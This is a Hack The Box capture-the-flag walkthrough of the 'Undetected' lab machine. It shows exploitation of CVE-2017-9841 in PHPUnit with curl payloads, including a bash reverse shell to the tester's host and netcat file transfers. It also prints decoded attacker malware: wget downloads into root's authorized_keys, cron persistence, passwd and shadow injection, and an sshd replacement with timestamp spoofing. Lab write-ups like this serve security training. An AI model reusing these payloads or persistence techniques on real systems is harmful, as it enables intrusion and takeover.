Undetected - [HTB]

Cover Image for Undetected - [HTB]
Marmeus
Marmeus

Table of Contents

    Introduction

    Undetected is a machine where we must follow the evidence left by the attacker when doing with the jewellery shop server. We will have to enumerate the web frameworks to exploit the vulnerability CVE-2017-9841; then we will have to do some reversing to a binary left by the attacker in order to obtain the users' password. Finally, we will have to analyse the sshd binary where the attacker introduced a backdoor to extract the password for becoming root.

    Enumeration

    As always, let's start finding all opened ports in the machine with Nmap.

    kali@kali:~/Documents/HTB/Undetected$ sudo nmap -sS -v -p- -n -T4 -oN AllPorts.txt 10.10.11.146
    
    Nmap scan report for 10.10.11.146
    Host is up (0.042s latency).
    Not shown: 65533 closed tcp ports (reset)
    PORT   STATE SERVICE
    22/tcp open  ssh
    80/tcp open  http
    
    Read data files from: /usr/bin/../share/nmap
    
    # Nmap done at Mon Feb 28 09:23:22 2022 -- 1 IP address (1 host up) scanned in 14.97 seconds

    Then, we continue with a deeper scan of each opened port, getting more information about each service.

    kali@kali:~/Documents/HTB/Undetected$ sudo nmap -sC -sV -n -T4 -oN PortsDepth.txt -p 22,80 10.10.11.146
    Nmap scan report for 10.10.11.146
    Host is up (0.041s latency).
    
    PORT   STATE SERVICE VERSION
    22/tcp open  ssh     OpenSSH 8.2 (protocol 2.0)
    | ssh-hostkey: 
    |   3072 be:66:06:dd:20:77:ef:98:7f:6e:73:4a:98:a5:d8:f0 (RSA)
    |   256 1f:a2:09:72:70:68:f4:58:ed:1f:6c:49:7d:e2:13:39 (ECDSA)
    |_  256 70:15:39:94:c2:cd:64:cb:b2:3b:d1:3e:f6:09:44:e8 (ED25519)
    80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
    |_http-server-header: Apache/2.4.41 (Ubuntu)
    |_http-title: Diana's Jewelry
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    # Nmap done at Mon Feb 28 09:24:10 2022 -- 1 IP address (1 host up) scanned in 8.15 seconds

    Starting with the web port, we see a jewellery store.

    Diana's jewelry

    Looking for domains on the HTML code, we can obtain several domains.

    kali@kali:~/Documents/HTB/Undetected$ curl http://10.10.11.146/ 2>/dev/null | grep '\.htb'
                        <li class="menu-item"><a href="http://store.djewelry.htb">STORE</a></li>
                <a href="http://store.djewelry.htb" class="whiteone os-animation" data-os-animation="slideInRight" data-os-animation-delay="0.7s">VISIT STORE</a>
    
    kali@kali:~/Documents/HTB/Undetected$  echo "10.10.11.146 djewelry.htb store.djewelry.htb" | sudo tee -a /etc/hosts

    Once added the domains to the /etc/hosts file, we can access another jewellery page.

    Store diana's jewelery

    Enumerating this last page, we can see a /vendor folder with directory listing enabled.

    kali@kali:~/Documents/HTB/Undetected$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -x .html,.php,.txt -t 60 -u http://store.djewelry.htb
    ===============================================================
    Gobuster v3.1.0
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
    ===============================================================
    [+] Url:                     http://store.djewelry.htb
    [+] Method:                  GET
    [+] Threads:                 60
    [+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
    [+] Negative Status codes:   404
    [+] User Agent:              gobuster/3.1.0
    [+] Extensions:              txt,html,php
    [+] Timeout:                 10s
    ===============================================================
    2022/02/28 09:39:18 Starting gobuster in directory enumeration mode
    ===============================================================
    /images               (Status: 301) [Size: 325] [--> http://store.djewelry.htb/images/]
    /products.php         (Status: 200) [Size: 7447]                                       
    /login.php            (Status: 200) [Size: 4129]                                       
    /cart.php             (Status: 200) [Size: 4396]                                       
    /css                  (Status: 301) [Size: 322] [--> http://store.djewelry.htb/css/]   
    /js                   (Status: 301) [Size: 321] [--> http://store.djewelry.htb/js/]    
    /index.php            (Status: 200) [Size: 6215]                                       
    /vendor               (Status: 301) [Size: 325] [--> http://store.djewelry.htb/vendor/]
    /fonts                (Status: 301) [Size: 324] [--> http://store.djewelry.htb/fonts/] 

    Because it has the directory listing enabled, we can see which plugins the web page uses.

    Directory listing

    Exploitation

    The PHPUnit framework has the vulnerability CVE-2017-9841, which allows the attacker to perform RCE, as you can see below.

    kali@kali:~/Documents/HTB/Undetected$ curl --data "<?php echo(pi());" http:///store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php ; echo
    3.1415926535898
    
    kali@kali:~/Documents/HTB/Undetected$ curl --data "<?php system(id);" http:///store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php ; echo
    uid=33(www-data) gid=33(www-data) groups=33(www-data)

    In order to obtain a reverse shell, you can execute the command.

    kali@kali:~/Documents/HTB/Undetected$ curl --data "<?php system(\"bash -c 'bash -i >& /dev/tcp/10.10.14.204/443 0>&1'\");" http:///store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php ; echo
    ^C
    
    kali@kali:~/Documents/HTB/Undetected$ nc -nlvp 443
    listening on [any] 443 ...
    connect to [10.10.14.204] from (UNKNOWN) [10.10.11.146] 54574
    bash: cannot set terminal process group (812): Inappropriate ioctl for device
    bash: no job control in this shell
    www-data@production:/var/www/store/vendor/phpunit/phpunit/src/Util/PHP$ id
    id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)

    Privilege Escalation 1

    Once inside the machine, there is a binary file in the /var/backups folder that can only be executed by www-data.

    www-data@production:/tmp$ ls -la /var/backups/
    total 736
    drwxr-xr-x  2 root     root       4096 Feb 28 06:25 .
    drwxr-xr-x 13 root     root       4096 Feb  8 19:59 ..
    -rw-r--r--  1 root     root      51200 Feb 28 06:25 alternatives.tar.0
    -rw-r--r--  1 root     root      34011 Feb  8 19:05 apt.extended_states.0
    -rw-r--r--  1 root     root        268 Jun  4  2021 dpkg.diversions.0
    -rw-r--r--  1 root     root        172 Jul  4  2021 dpkg.statoverride.0
    -rw-r--r--  1 root     root     615929 Feb  8 19:06 dpkg.status.0
    -r-x------  1 www-data www-data  27296 May 14  2021 info
    
    www-data@production:/tmp$ file /var/backups/info 
    /var/backups/info: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0dc004db7476356e9ed477835e583c68f1d2493a, for GNU/Linux 3.2.0, not stripped

    In order to analyse the file, I transferred it to my kali machine.

    www-data@production:/tmp$ nc -w 1 10.10.14.204 4444 < /var/backups/info
    kali@kali:~/Documents/HTB/Undetected$ nc -nlvp 4444 > info
    listening on [any] 4444 ...
    connect to [10.10.14.204] from (UNKNOWN) [10.10.11.146] 40708

    Executing the strings commands against the file appears a huge hexadecimal string.

    kali@kali:~/Documents/HTB/Undetected$ strings info
    [...]
    /bin/bash         
    776765742074656d7066696c65732e78797a2f617574686f72697a65645f6b657973202d4f202f726f6f742f2e7373682f617574686f72697a65645f6b6579733b20776765742074656d7066696c65732e78797a2f2e6d61696e202d4f202f7661722f6c69622f2e6d61696e3b2063686d6f6420373535202f7661722f6c6
    9622f2e6d61696e3b206563686f20222a2033202a202a202a20726f6f74202f7661722f6c69622f2e6d61696e22203e3e202f6574632f63726f6e7461623b2061776b202d46223a2220272437203d3d20222f62696e2f6261736822202626202433203e3d2031303030207b73797374656d28226563686f2022243122313a
    5c24365c247a5337796b4866464d673361596874345c2431495572685a616e5275445a6866316f49646e6f4f76586f6f6c4b6d6c77626b656742586b2e567447673738654c3757424d364f724e7447625a784b427450753855666d39684d30522f424c6441436f513054396e2f3a31383831333a303a39393939393a373a3
    a3a203e3e202f6574632f736861646f7722297d27202f6574632f7061737377643b2061776b202d46223a2220272437203d3d20222f62696e2f6261736822202626202433203e3d2031303030207b73797374656d28226563686f2022243122202224332220222436222022243722203e2075736572732e74787422297d27
    202f6574632f7061737377643b207768696c652072656164202d7220757365722067726f757020686f6d65207368656c6c205f3b20646f206563686f202224757365722231223a783a2467726f75703a2467726f75703a2c2c2c3a24686f6d653a247368656c6c22203e3e202f6574632f7061737377643b20646f6e65203
    c2075736572732e7478743b20726d2075736572732e7478743b
    [...]

    After decoding it, we obtain the following command, which inserts a contrab and replaces the password for user steven1.

    wget tempfiles.xyz/authorized_keys -O /root/.ssh/authorized_keys; wget tempfiles.xyz/.main -O /var/lib/.main; chmod 755 /var/lib/.main; echo "* 3 * * * root /var/lib/.main" >> /etc/crontab; awk -F":" '$7 == "/bin/bash" && $3 >= 1000 {system("echo "$1"1:\$6\$zS7ykHfFMg3aYht4\$1IUrhZanRuDZhf1oIdnoOvXoolKmlwbkegBXk.VtGg78eL7WBM6OrNtGbZxKBtPu8Ufm9hM0R/BLdACoQ0T9n/:18813:0:99999:7::: >> /etc/shadow")}' /etc/passwd; awk -F":" '$7 == "/bin/bash" && $3 >= 1000 {system("echo "$1" "$3" "$6" "$7" > users.txt")}' /etc/passwd; while read -r user group home shell _; do echo "$user"1":x:$group:$group:,,,:$home:$shell" >> /etc/passwd; done < users.txt; rm users.txt;

    After breaking the password with john, we can log in as steven1.

    kali@kali:~/Documents/HTB/Undetected$ john -w=/usr/share/wordlists/rockyou.txt shadow 
    Using default input encoding: UTF-8
    Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
    Cost 1 (iteration count) is 5000 for all loaded hashes
    Will run 4 OpenMP threads
    Press 'q' or Ctrl-C to abort, almost any other key for status
    ihatehackers     (1)     
    1g 0:00:00:12 DONE (2022-02-28 10:03) 0.08038g/s 7161p/s 7161c/s 7161C/s littlebrat..halo03
    Use the "--show" option to display all of the cracked passwords reliably
    Session completed. 
    
    www-data@production:/tmp$ su steven1 -
    Password: ihatehackers
    steven@production:/tmp$ id
    uid=1000(steven) gid=1000(steven) groups=1000(steven)

    Privilege Escalation 2

    Inside the /var/mail directory, there is a mail for steven.

    steven@production:~$ ls -la /var/mail/
    total 12
    drwxrwsr-x  2 root   mail 4096 Feb  8 19:59 .
    drwxr-xr-x 13 root   root 4096 Feb  8 19:59 ..
    -rw-rw----  1 steven mail  966 Jul 25  2021 steven

    Reading the email, we know there is a problem with the apache server.

    steven@production:~$ cat /var/mail/steven 
    From root@production  Sun, 25 Jul 2021 10:31:12 GMT
    Return-Path: <root@production>
    Received: from production (localhost [127.0.0.1])
            by production (8.15.2/8.15.2/Debian-18) with ESMTP id 80FAcdZ171847
            for <steven@production>; Sun, 25 Jul 2021 10:31:12 GMT
    Received: (from root@localhost)
            by production (8.15.2/8.15.2/Submit) id 80FAcdZ171847;
            Sun, 25 Jul 2021 10:31:12 GMT
    Date: Sun, 25 Jul 2021 10:31:12 GMT
    Message-Id: <202107251031.80FAcdZ171847@production>
    To: steven@production
    From: root@production
    Subject: Investigations
    
    Hi Steven.
    
    We recently updated the system but are still experiencing some strange behaviour with the Apache service.
    We have temporarily moved the web store and database to another server whilst investigations are underway.
    If for any reason you need access to the database or web application code, get in touch with Mark and he
    will generate a temporary password for you to authenticate to the temporary server.
    
    Thanks,
    sysadmin
    

    Enumerating the modules enabled directory, we can see a module whose date differs from the others.

    steven@production:/etc/apache2/mods-enabled$ ls -la
    total 8
    drwxr-xr-x 2 root root 4096 Feb  8 19:59 .
    drwxr-xr-x 8 root root 4096 Feb  8 19:59 ..
    [...]
    lrwxrwxrwx 1 root root   29 Jul  4  2021 php7.4.conf -> ../mods-available/php7.4.conf
    lrwxrwxrwx 1 root root   29 Jul  4  2021 php7.4.load -> ../mods-available/php7.4.load
    lrwxrwxrwx 1 root root   29 May 17  2021 reader.load -> ../mods-available/reader.load
    lrwxrwxrwx 1 root root   33 Jul  4  2021 reqtimeout.conf -> ../mods-available/reqtimeout.conf
    lrwxrwxrwx 1 root root   33 Jul  4  2021 reqtimeout.load -> ../mods-available/reqtimeout.load
    [...]

    So, we look for the module and transfer it to our machine to analyse it again.

    steven@production:/etc/apache2/mods-enabled$ cat ../mods-available/reader.load
    LoadModule reader_module      /usr/lib/apache2/modules/mod_reader.so
    
    steven@production:/etc/apache2/mods-enabled$ nc -w 1 10.10.14.204 4444 < /usr/lib/apache2/modules/mod_reader.so
    kali@kali:~/Documents/HTB/Undetected$ nc -nlvp 4444 > mod_reader.so
    listening on [any] 4444 ...
    connect to [10.10.14.204] from (UNKNOWN) [10.10.11.146] 45028

    Doing strings to the shared object, we can see a long base64 string.

    kali@kali:~/Documents/HTB/Undetected$ strings mod_reader.so
    [...]
    /bin/bash
    mod_reader.c    
    d2dldCBzaGFyZWZpbGVzLnh5ei9pbWFnZS5qcGVnIC1PIC91c3Ivc2Jpbi9zc2hkOyB0b3VjaCAtZCBgZGF0ZSArJVktJW0tJWQgLXIgL3Vzci9zYmluL2EyZW5tb2RgIC91c3Ivc2Jpbi9zc2hk
    [...]

    Once decoded, it turns out to be another command which replaces the sshd binary and changes the file's creation date by the creation date of /usr/sbin/a2enmod.

    kali@kali:~/Documents/HTB/Undetected$ echo d2dldCBzaGFyZWZpbGVzLnh5ei9pbWFnZS5qcGVnIC1PIC91c3Ivc2Jpbi9zc2hkOyB0b3VjaCAtZCBgZGF0ZSArJVktJW0tJWQgLXIgL3Vzci9zYmluL2EyZW5tb2RgIC91c3Ivc2Jpbi9zc2hk | base64 -d ; echo
    wget sharefiles.xyz/image.jpeg -O /usr/sbin/sshd; touch -d `date +%Y-%m-%d -r /usr/sbin/a2enmod` /usr/sbin/sshd

    Analysing the file with Ghydra, we can see an auth_function.

    auth_password

    This function has hardcoded an encrypted password to get access as root to the machine.

    image-20220228165658732

    The encryption mechanism is a simple XOR operation with the hex value 96.

    After organising the string in a little-endian format, we can decode the password with CyberChef.

    backdoor[30] = 0xa5;
    backdoor._28_2_ = 0xa9f4;
    backdoor._24_4_ = 0xbcf0b5e3;
    backdoor._16_8_ = 0xb2d6f4a0fda0b3d6;
    backdoor._12_4_ = 0xfdb3d6e7;
    backdoor._8_4_ = 0xf7bbfdc8;
    backdoor._4_4_ = 0xa4b3a3f3;
    backdoor._0_4_ = 0xf0e7abd6;

    Finally, we can become root by doing SSH to de machine.

    kali@kali:~/Documents/HTB/Undetected$ ssh root@djewelry.htb
    root@djewelry.htb's password: @=qfe5%2^k-aq@%k@%6k6b@$u#f*b?3
    Last login: Mon Feb 28 18:42:09 2022 from 10.10.14.204
    root@production:~# cat /root/root.txt 
    [CENSORED]